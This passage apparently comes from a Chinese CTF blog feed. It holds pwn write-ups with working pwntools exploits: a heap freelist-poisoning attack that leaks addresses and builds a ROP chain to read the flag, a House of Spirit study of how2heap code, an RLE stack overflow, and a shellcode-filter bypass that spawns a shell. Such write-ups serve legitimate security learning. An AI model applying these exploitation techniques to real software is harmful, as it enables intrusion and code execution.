  __int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h]
  _BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h]

  chunk_header_ptr = (_BYTE *)(*((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 512) - 16LL);
  chunk_size_val = *(_DWORD *)(*((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 512) - 8LL);
  **((_QWORD **)&amp;amp;g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 16];
  g_freelists[chunk_size_val / 16] = chunk_header_ptr;
  *chunk_header_ptr = 0;
  freelist_walk_count = 0;
  chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL);
  chunk_header_ptr_1 = chunk_header_ptr_2;
  while ( freelist_walk_count &amp;lt;= 13 &amp;amp;&amp;amp; chunk_header_ptr_1 )
  {
    if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr )
    {
      puts(&quot;free(): double free or corruption (fast)&quot;);
      exit(0);
    }
    chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16);
    chunk_header_ptr_1 = chunk_header_ptr_2;
    ++freelist_walk_count;
  }
  return chunk_header_ptr_2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 edit()
{
  char newline_char; // [rsp+Fh] [rbp-11h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF

  *(_QWORD *)&amp;amp;nbytes[1] = __readfsqword(0x28u);
  puts(&quot;Index&quot;);
  __isoc99_scanf(&quot;%u%c&quot;, &amp;amp;chunk_idx, &amp;amp;newline_char);
  if ( chunk_idx &amp;lt;= 0x10
    &amp;amp;&amp;amp; *((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 512)
    &amp;amp;&amp;amp; (puts(&quot;size&quot;),
        __isoc99_scanf(&quot;%u%c&quot;, nbytes, &amp;amp;newline_char),
        nbytes[0] &amp;lt;= *((__int64 *)&amp;amp;g_heap_base + chunk_idx + 528)) )
  {
    read(0, *((void **)&amp;amp;g_heap_base + chunk_idx + 512), nbytes[0]);
    puts(&quot;Success&quot;);
  }
  else
  {
    puts(&quot;Invalid&quot;);
  }
  return *(_QWORD *)&amp;amp;nbytes[1] - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 show()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts(&quot;Index&quot;);
  __isoc99_scanf(&quot;%u%c&quot;, &amp;amp;chunk_idx, &amp;amp;newline_char);
  if ( chunk_idx &amp;lt;= 0x10 &amp;amp;&amp;amp; *((_QWORD *)&amp;amp;g_heap_base + chunk_idx + 512) )
  {
    puts(*((const char **)&amp;amp;g_heap_base + chunk_idx + 512));
    puts(&quot;Success&quot;);
  }
  else
  {
    puts(&quot;Invalid index&quot;);
  }
  return canary - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000004008 ; void *off_4008
.data:0000000000004008 off_4008        dq offset off_4008      ; DATA XREF: sub_1200+1B↑r
.data:0000000000004008                                         ; .data:off_4008↓o
.data:0000000000004010                 align 20h
.data:0000000000004020 g_arena_top     dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: init+6D↑w
.data:0000000000004020                                         ; init+7F↑r ...
.data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init+74↑w
.data:0000000000004028                                         ; do_malloc+D1↑r ...
.data:0000000000004030                 align 20h
.data:0000000000004040 ; _QWORD g_freelists[16]
.data:0000000000004040 g_freelists     dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0)
.data:0000000000004040                                         ; DATA XREF: init+A6↑o
.data:0000000000004040                                         ; do_malloc+56↑o ...
.data:0000000000004040 _data           ends
.data:0000000000004040
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./pwn_patched&quot;
HOST, PORT = &quot;45.40.247.139&quot;, 17742

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc.so.6&quot;)


def menu(option):
    target.recvuntil(b&quot;=======================&quot;)
    target.sendline(str(option).encode())


def create(idx, size):
    menu(1)
    target.sendlineafter(b&quot;Index&quot;, str(idx).encode())
    target.sendlineafter(b&quot;size&quot;, str(size).encode())
    target.recvlines(2)


def delete(idx):
    menu(2)
    target.sendlineafter(b&quot;Index&quot;, str(idx).encode())
    target.recvlines(2)


def edit(idx, size, data):
    menu(3)
    target.sendlineafter(b&quot;Index&quot;, str(idx).encode())
    target.sendlineafter(b&quot;size&quot;, str(size).encode())
    target.sendline(data)


def show(idx):
    menu(4)
    target.sendlineafter(b&quot;Index&quot;, str(idx).encode())


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    create(0, 0x70)
    create(1, 0x70)
    delete(1)
    delete(0)

    # raw_input(&quot;DEBUG&quot;)
    show(0)
    target.recvline()
    elf.address = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x5280

    stderr = elf.address + 0x40E0
    arr = elf.address + 0x6200

    target.success(f&quot;pie: {hex(elf.address)}&quot;)
    target.success(f&quot;arr: {hex(arr)}&quot;)
    target.success(f&quot;stderr: {hex(stderr)}&quot;)

    create(0, 0x70)
    create(1, 0x70)
    delete(0)
    delete(1)
    # raw_input(&quot;DEBUG&quot;)
    create(0x10, 0x70)
    edit(0, 0x10, flat(stderr - 0x40))

    # raw_input(&quot;DEBUG&quot;)
    create(0, 0x70)
    create(2, 0x70)

    edit(2, 0x10, b&quot;A&quot; * 15)
    show(2)
    target.recvlines(2)
    libc.address = int.from_bytes(target.recvline().strip(), &quot;little&quot;) - 0x21B780
    target.success(f&quot;libc: {hex(libc.address)}&quot;)

    create(3, 0x70)
    delete(0)
    delete(3)
    create(0x10, 0x70)
    edit(0, 0x10, flat(libc.sym[&quot;environ&quot;] - 0x20))

    create(0, 0x70)
    create(4, 0x70)
    edit(4, 0x10, b&quot;A&quot; * 15)
    show(4)

    target.recvline()
    target.recvline()
    stack = int.from_bytes(target.recvline().strip(), &quot;little&quot;)
    ret = stack - 0x140
    target.success(f&quot;stack: {hex(stack)}&quot;)
    target.success(f&quot;ret: {hex(ret)}&quot;)

    create(5, 0x70)
    delete(0)
    delete(5)
    create(0x10, 0x70)
    edit(0, 0x10, flat(ret - 0xA0))

    create(5, 0x70)
    create(0, 0x70)
    create(0x10, 0x70)

    edit(5, 0x10, b&quot;flag\x00\x00\x00\x00&quot;)

    flag = elf.address + 0x5210

    rop = ROP(libc)
    payload = flat(
        # open
        rop.rax.address,
        2,
        rop.rdi.address,
        flag,
        rop.rsi.address,
        0,
        rop.find_gadget([&quot;pop rdx&quot;, &quot;pop rbx&quot;, &quot;ret&quot;])[0],
        0,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # read
        rop.rax.address,
        0,
        rop.rdi.address,
        3,
        rop.rsi.address,
        flag,
        rop.find_gadget([&quot;pop rdx&quot;, &quot;pop rbx&quot;, &quot;ret&quot;])[0],
        0x100,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
        # write
        rop.rax.address,
        1,
        rop.rdi.address,
        1,
        rop.rsi.address,
        flag,
        rop.find_gadget([&quot;pop rdx&quot;, &quot;pop rbx&quot;, &quot;ret&quot;])[0],
        0x100,
        0,
        rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;])[0],
    )

    raw_input(&quot;DEBUG&quot;)
    edit(
        0,
        0x200,
        b&quot;A&quot; * 0x60 + payload,
    )

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;DASCTF{21569291958017220875601963459603}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;赛后 bb&lt;/h1&gt;
&lt;p&gt;感觉这比赛题很难评啊，一道 stack 一道 malloc，两道题没一个能 patch 后在我机器上跑的……一直报错 &lt;code&gt;./libc.so.6: version &apos;GLIBC_ABI_DT_RELR&apos; not found (required by /usr/lib/libseccomp.so.2)&lt;/code&gt;，怀疑是我 glibc 版本太高了的原因？问运维，告诉我好像全场就我一个人不能跑附件，我？？？？？？？被制裁了（&lt;/p&gt;
&lt;p&gt;后来光折腾 docker pwn 环境就花了好几个小时，比赛开始 5 小时后我才刚把题目跑起来，上午问运维要 Dockerfile 下午才拿到，最后发现也没啥用，还得配虚拟机。玛德，这个世界对 archlinux 用户充满了恶意，最后我是用 pwndocker + 零配置的 vim 写的这两题的 exp，别提有多痛苦了……&lt;/p&gt;
&lt;p&gt;另外，国内的比赛都是 p 神争霸赛吗，看麻了，非人 vm 题短时间内 30 多解，哥们用 MCP 逆向都逆半天没逆出来，逆向完了还得看半天，怎么做到的？……&lt;/p&gt;
</content:encoded></item><item><title>屋宇之术：Labyrinth of Houses</title><link>https://cubeyond.net/posts/pwn-notes/labyrinth-of-houses/</link><guid isPermaLink="true">https://cubeyond.net/posts/pwn-notes/labyrinth-of-houses/</guid><description>你也想知道这些「屋子」里的秘密吗？</description><pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;House of Spirit&lt;/h1&gt;
&lt;h2&gt;Applicable Range&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;latest&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Principles&lt;/h2&gt;
&lt;p&gt;人生中的第一个「house」，当然是从 Spirit 开始～&lt;/p&gt;
&lt;p&gt;下面直接拿 &lt;a href=&quot;https://github.com/shellphish/how2heap&quot;&gt;how2heap&lt;/a&gt; 的 example code 来学习了，选择的是 &lt;a href=&quot;https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_spirit.c&quot;&gt;glibc_2.35/house_of_spirit.c&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
  setbuf(stdout, NULL);

  puts(&quot;This file demonstrates the house of spirit attack.&quot;);
  puts(&quot;This attack adds a non-heap pointer into fastbin, thus leading to &quot;
       &quot;(nearly) arbitrary write.&quot;);
  puts(&quot;Required primitives: known target address, ability to set up the &quot;
       &quot;start/end of the target memory&quot;);

  puts(&quot;\nStep 1: Allocate 7 chunks and free them to fill up tcache&quot;);
  void *chunks[7];
  for (int i = 0; i &amp;lt; 7; i++) {
    chunks[i] = malloc(0x30);
  }
  for (int i = 0; i &amp;lt; 7; i++) {
    free(chunks[i]);
  }

  puts(&quot;\nStep 2: Prepare the fake chunk&quot;);
  // This has nothing to do with fastbinsY (do not be fooled by the 10) -
  // fake_chunks is just a piece of memory to fulfil allocations (pointed to
  // from fastbinsY)
  long fake_chunks[10] __attribute__((aligned(0x10)));
  printf(&quot;The target fake chunk is at %p\n&quot;, fake_chunks);
  printf(
      &quot;It contains two chunks. The first starts at %p and the second at %p.\n&quot;,
      &amp;amp;fake_chunks[1], &amp;amp;fake_chunks[9]);
  printf(&quot;This chunk.size of this region has to be 16 more than the region (to &quot;
         &quot;accommodate the chunk data) while still falling into the fastbin &quot;
         &quot;category (&amp;lt;= 128 on x64). The PREV_INUSE (lsb) bit is ignored by &quot;
         &quot;free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) &quot;
         &quot;and NON_MAIN_ARENA (third lsb) bits cause problems.\n&quot;);
  puts(&quot;... note that this has to be the size of the next malloc request &quot;
       &quot;rounded to the internal size used by the malloc implementation. E.g. &quot;
       &quot;on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for &quot;
       &quot;the malloc parameter at the end.&quot;);
  printf(&quot;Now set the size of the chunk (%p) to 0x40 so malloc will think it &quot;
         &quot;is a valid chunk.\n&quot;,
         &amp;amp;fake_chunks[1]);
  fake_chunks[1] = 0x40; // this is the size

  printf(&quot;The chunk.size of the *next* fake region has to be sane. That is &amp;gt; &quot;
         &quot;2*SIZE_SZ (&amp;gt; 16 on x64) &amp;amp;&amp;amp; &amp;lt; av-&amp;gt;system_mem (&amp;lt; 128kb by default for &quot;
         &quot;the main arena) to pass the nextsize integrity checks. No need for &quot;
         &quot;fastbin size.\n&quot;);
  printf(&quot;Set the size of the chunk (%p) to 0x1234 so freeing the first chunk &quot;
         &quot;can succeed.\n&quot;,
         &amp;amp;fake_chunks[9]);
  fake_chunks[9] = 0x1234; // nextsize

  puts(&quot;\nStep 3: Free the first fake chunk&quot;);
  puts(&quot;Note that the address of the fake chunk must be 16-byte aligned.\n&quot;);
  void *victim = &amp;amp;fake_chunks[2];
  free(victim);

  puts(&quot;\nStep 4: Take out the fake chunk&quot;);
  printf(&quot;Now the next calloc will return our fake chunk at %p!\n&quot;,
         &amp;amp;fake_chunks[2]);
  printf(
      &quot;malloc can do the trick as well, you just need to do it for 8 times.&quot;);
  void *allocated = calloc(1, 0x30);
  printf(&quot;malloc(0x30): %p, fake chunk: %p\n&quot;, allocated, victim);

  assert(allocated == victim);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先说效果，这个攻击基本上就是可以令我们 malloc 返回一个任意地址，比如返回栈地址，~&lt;em&gt;然后就可以竭尽所学，做一些瑟瑟的事情了什么？我说的瑟，可是萧瑟的瑟哦～ chill bro&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;上面这个程序不难理解吧？就是先把 tcache 的 0x40 bin 填满，确保我们接下来所做的都是针对于 fastbin 的 0x40 bin 。接着关键的地方是设置了两个 fake chunk 的 size，一个是 &lt;code&gt;0x40&lt;/code&gt;，紧接着它的 nextchunk size 设置为 &lt;code&gt;0x1234&lt;/code&gt;，这是为了过两个检查：&lt;/p&gt;
&lt;p&gt;首先是我们不希望进入 &lt;code&gt;__libc_free&lt;/code&gt; 中的 &lt;code&gt;chunk_is_mmapped&lt;/code&gt; 分支执行 &lt;code&gt;munmap_chunk&lt;/code&gt;，所以伪造的第一个 chunk size 的 &lt;code&gt;M (IS_MMAPPED)&lt;/code&gt; 位必须为 0。然后进入 &lt;code&gt;_int_free&lt;/code&gt; 后我们第一个 chunk 的 size 必须满足 &lt;code&gt;size &amp;gt; MINSIZE&lt;/code&gt;，否则会抛出 &lt;code&gt;free(): invalid size&lt;/code&gt;，接着由于我们希望进入 fastbin，所以 size 必须在 fastbin 最大支持大小范围内，且 &lt;code&gt;chunk_at_offset(p, size) != av-&amp;gt;top&lt;/code&gt;，即紧临着的 nextchunk 不能是 top chunk，这就是为什么需要伪造两个 chunk 的原因。最还还不能满足 &lt;code&gt;chunksize_nomask (chunk_at_offset (p, size)) &amp;lt;= CHUNK_HDR_SZ&lt;/code&gt;，即 nextchunk 的大小不能小于等于 chunk header size 和 &lt;code&gt;chunksize (chunk_at_offset (p, size)) &amp;gt;= av-&amp;gt;system_mem&lt;/code&gt;，即下一个 chunk 的大小大于不能大于当前 arena 内存池大小这两个检测，否则就抛出 &lt;code&gt;free(): invalid next size (fast)&lt;/code&gt;。到此为止检测就绕差不多了，然后它会将这个 chunk 放到 fastbin 中，就不过多赘述了。&lt;/p&gt;
&lt;p&gt;:::important
注意 &lt;code&gt;NON_MAIN_ARENA&lt;/code&gt; 位也会有影响，得设置成 0 告诉 glibc 这是 main arena 的 chunk 。&lt;/p&gt;
&lt;p&gt;nextchunk 的大小无关紧要，只要能绕过检测就好了，不一定非得是 fastbin 范围内的大小。
:::&lt;/p&gt;
&lt;p&gt;感觉写了一堆没用的，还不如直接看 example code + glibc source code + 自己 debug 理解的透彻……可能是这块内容确实不好写，因为写详细的话必然得贴 glibc 代码片段，考虑到以后还有各种各样其它的 house，肯定会有重复的内容，&amp;lt;s&amp;gt;&lt;em&gt;属于是增加碳排放了，我可是坚定的环保主义者（&lt;/em&gt;&amp;lt;/s&amp;gt;&lt;/p&gt;
&lt;p&gt;好麻烦……后面有时间我再研究研究怎么写吧，也可能会直接删掉，只保留部分内容也说不准？&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Securinets CTF Quals 2025</title><link>https://cubeyond.net/posts/write-ups/securinets-ctf-quals-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/securinets-ctf-quals-2025/</guid><description>Write-ups for Securinets CTF Quals 2025 pwn aspect.</description><pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;zip++&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;why isn&apos;t my compressor compressing ?!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;问 AI，得知 &lt;code&gt;compress&lt;/code&gt; 函数实现了一个 &lt;code&gt;RLE (Run-Length Encoding)&lt;/code&gt; 压缩算法，压缩后格式为 &lt;code&gt;[字节 1][重复次数 1][字节 2][重复次数 2]...&lt;/code&gt;，因此如果我们输入交替字符就会导致压缩率很差，溢出返回地址。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;./main&quot;
HOST, PORT = &quot;pwn-14caf623.p1.securinets.tn&quot;, 9000

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b&quot;AB&quot; * 0xC6,
        b&quot;\xa6&quot; * 0x11,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;data to compress :&quot;, payload)
    raw_input(&quot;DEBUG&quot;)
    target.sendline(b&quot;exit&quot;)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;Securinets{my_zip_doesnt_zip}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;push pull pops&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Shellcoding in the big 25 😱&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;有意思，第一次见 python 写的 pwn 题，这题只允许使用 &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt; 和 &lt;code&gt;int 3&lt;/code&gt; 指令，但是测试发现非法指令会导致 capstone 直接返回 &lt;code&gt;None&lt;/code&gt;，使得后面的指令不会被检查。所以我们只要把 shellcode 写到非法指令后面即可。&lt;/p&gt;
&lt;p&gt;祭出指令表：&lt;a href=&quot;http://ref.x86asm.net/coder64.html&quot;&gt;X86 Opcode and Instruction Reference Home&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是有个问题是，从 mmap 分配的地址开始执行，必定会碰到我们的非法指令，然后就会 abort 。这里的解决方法也很简单，因为我们可以操作栈，那么，我们只要把 &lt;code&gt;rsp&lt;/code&gt; 变成 mmap 出来的地址，然后用 &lt;code&gt;pop&lt;/code&gt; 先提高栈地址，然后再 &lt;code&gt;push&lt;/code&gt; 降低栈地址的同时，也将栈上原先的指令覆盖掉了。用什么覆盖？当然是 &lt;code&gt;nop&lt;/code&gt; 啦～&lt;/p&gt;
&lt;p&gt;最后说一下怎么调试，我们只要知道这个 python 脚本的 &lt;code&gt;pid&lt;/code&gt; 就可以用 &lt;code&gt;gdb -p &amp;lt;pid&amp;gt;&lt;/code&gt; 挂载，只要知道 mmap 返回的地址就可以调试 shellcode，还有，善用 &lt;code&gt;int 3&lt;/code&gt; 也很重要。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run(code: bytes):
    # Allocate executable memory using mmap

    mem = mmap.mmap(
        -1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC
    )
    mem.write(code)

    # Create function pointer and execute
    func = ctypes.CFUNCTYPE(ctypes.c_void_p)(
        ctypes.addressof(ctypes.c_char.from_buffer(mem))
    )

    print(
        f&quot;pid is: {os.getpid()}\nmem: {hex(ctypes.addressof(ctypes.c_char.from_buffer(mem)))}&quot;
    )
    input(&quot;DEBUG&quot;)
    func()

    exit(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./main.py&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;, arch=&quot;amd64&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = asm(
        &quot;&quot;&quot;
        push r11
        pop rsp

        pop r15
        pop r15
        pop r15
        pop r15

        push r15
        push r15
        push r15
        &quot;&quot;&quot;
    )

    payload += b&quot;\x06&quot; + asm(shellcraft.nop()) * 0xF
    payload += asm(&quot;add rsp, 0x100&quot;)
    payload += asm(shellcraft.sh())

    target.sendline(b64e(payload))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;Securinets{push_pop_to_hero}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;push pull pops REVENGE&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;you aint getting away with it , not on my watch .&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这次题目加了输入和解码出来的指令之间的长度检测：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if code_len != decoded:
    print(&quot;nice try&quot;)
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那就把非法指令 ban 掉了，测试使用 semantically equivalent encodings 也没啥用，绕不开这个长度检测。&lt;/p&gt;
&lt;p&gt;最后思路是自己构造一个 &lt;code&gt;syscall&lt;/code&gt;，然后调用 &lt;code&gt;read&lt;/code&gt;，这样就可以把 shellcode 读进去，不被过滤。&lt;/p&gt;
&lt;p&gt;官方的 solution 也是构造 &lt;code&gt;read&lt;/code&gt;，不过官方的 wp 里面，&lt;code&gt;syscall&lt;/code&gt; 不是自己造的，而是利用内存中现成的，所以只要操作 &lt;code&gt;push&lt;/code&gt;，&lt;code&gt;pop&lt;/code&gt; 到对应内存就能拿到了。而我这里用的方法就复杂了点，&amp;lt;s&amp;gt;让我们假设内存空间非常贫瘠，寸草不生，根本没有残留的 &lt;code&gt;syscall&lt;/code&gt;&amp;lt;/s&amp;gt;，那能不能凭空造一个出来？&lt;/p&gt;
&lt;p&gt;由于这题也是 mmap 了一块 &lt;code&gt;rwx&lt;/code&gt; 的内存，所以只要我们的内存中有 &lt;code&gt;syscall&lt;/code&gt; 的机器码，它就能执行到，我们只要在执行前提前布置好调用 &lt;code&gt;read&lt;/code&gt; 用到的寄存器即可。&lt;/p&gt;
&lt;p&gt;:::caution
由于这道题的特殊性，远程内存环境和本地肯定是大不相同的，因为我们不管是自己造 &lt;code&gt;syscall&lt;/code&gt; 还是找现成的，都对内存环境布局有着极其严格的要求，所以这题必须在 docker 里跑，本地远程调试。
:::&lt;/p&gt;
&lt;p&gt;首先解决一下调试的问题，我们将容器启动后自动执行的指令改一下，挂上 &lt;code&gt;gdbserver&lt;/code&gt;，开放 &lt;code&gt;1234&lt;/code&gt; 端口用于调试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/app/run
CMD [&quot;gdbserver&quot;, &quot;:1234&quot;, &quot;socat&quot;, &quot;TCP-LISTEN:5000,reuseaddr,fork&quot;, &quot;EXEC:/app/run&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 &lt;code&gt;docker-compose.yml&lt;/code&gt; 也需要改，开放一下调试端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3.8&quot;

services:
  vertical_tables:
    build: .
    ports:
      - &quot;1304:5000&quot;
      - &quot;1234:1234&quot;
    deploy:
      resources:
        limits:
          cpus: &quot;1&quot;
          memory: 1000M
    read_only: true
    cap_drop:
      - all
    privileged: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在只要运行 &lt;code&gt;docker compose up -d&lt;/code&gt; 就把容器跑起来了，然后 exp 直接连接 &lt;code&gt;1304&lt;/code&gt; 端口与题目交互。&lt;/p&gt;
&lt;p&gt;既然要自己造 &lt;code&gt;syscall&lt;/code&gt;，那肯定得先搞清楚这玩意儿的机器码是多少，可以这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ pwn asm -c amd64 &quot;syscall&quot;
0f05
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我们只要想办法弄到 &lt;code&gt;\x0f&lt;/code&gt; 和 &lt;code&gt;\x05&lt;/code&gt; 就成功了一半。观察内存，发现有一个现成的 &lt;code&gt;\x05&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvmves3vy.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;虽然也有现成的 &lt;code&gt;\x0f&lt;/code&gt;，但是它行吗？我们可以做一个简单的测试，直接找一片空内存改，然后看看解析出来是什么指令：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32igoksjy3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;并不是我们期望的 &lt;code&gt;syscall&lt;/code&gt;，很简单，因为 &lt;code&gt;amd64&lt;/code&gt; 是小端序的，所以我们不能写 &lt;code&gt;\x0f&lt;/code&gt;，而是应该写 &lt;code&gt;0x0f00000000000000&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99tuor2zt2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
